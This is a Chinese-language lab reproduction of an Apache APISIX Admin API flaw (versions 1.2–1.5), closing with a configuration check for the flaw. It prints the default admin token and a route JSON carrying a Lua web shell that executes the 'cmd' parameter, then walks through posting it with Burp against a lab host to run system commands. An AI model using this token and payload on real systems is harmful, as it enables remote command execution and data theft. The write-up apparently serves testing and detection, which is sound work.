1 、Apache APISIX 组件介绍
Apache APISIX 是一个动态、实时的 API 网关,基于 Nginx 网络库和 etcd 实现, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。
2 、漏洞描述
在Apache APISIX中,用户启用了Admin API并删除了Admin API访问IP限制规则。允许攻击者可在默认情况下,利用默认配置,对路由、私钥、服务、负载等配置信息进行获取、修改、新增以及删除,严重可直接造成业务终端异常或数据泄露。该漏洞影响版本 Apache APISIX1.2、1.3、1.4、1.5。
3、漏洞复现
准备: 靶机(CentOS 7 192.168.96.222:9080) BurpSuit(抓包、改包)。
启动靶场: 命令:docker-compose up -d
现在收集到的信息: ① 、管理员默认的Token信息, ② 、配置Route的数据包。
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
配置一个 attack 的路由。 其中"script"是 一段恶意代码 ,其他就是Route配置的规则。
{
"uri": "/attack",
"script": "local _M = {} n function _M.access(conf, ctx) n local os = require('os')n local args = assert(ngx.req.get_uri_args()) n local f = assert(io.popen(args.cmd, 'r'))n local s = assert(f:read('*a'))n ngx.say(s)n f:close() n end nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
利用这些信息,
先访问靶机的网站,URL: 192.168.96.222:9080,靶场启动成功。
访问192.168.96.222:9080/apisix/admin/routes, 抓包
用BP的repeater重放模块,
将数据包GET——改为POST
加上 Token 和 配置Route的数据包。Response回复成功。
用attack用户就可以进行命令执行。 可以得到id ,ls查看当前目录文件等等系统命令。
4、检查漏洞
查看APISIX组件安装路径下apisix/conf/config.yaml配置文件中,若 allow_admin字段配置了- all,允许任意IP地址访问,并且使用默认的key值,则漏洞存在。



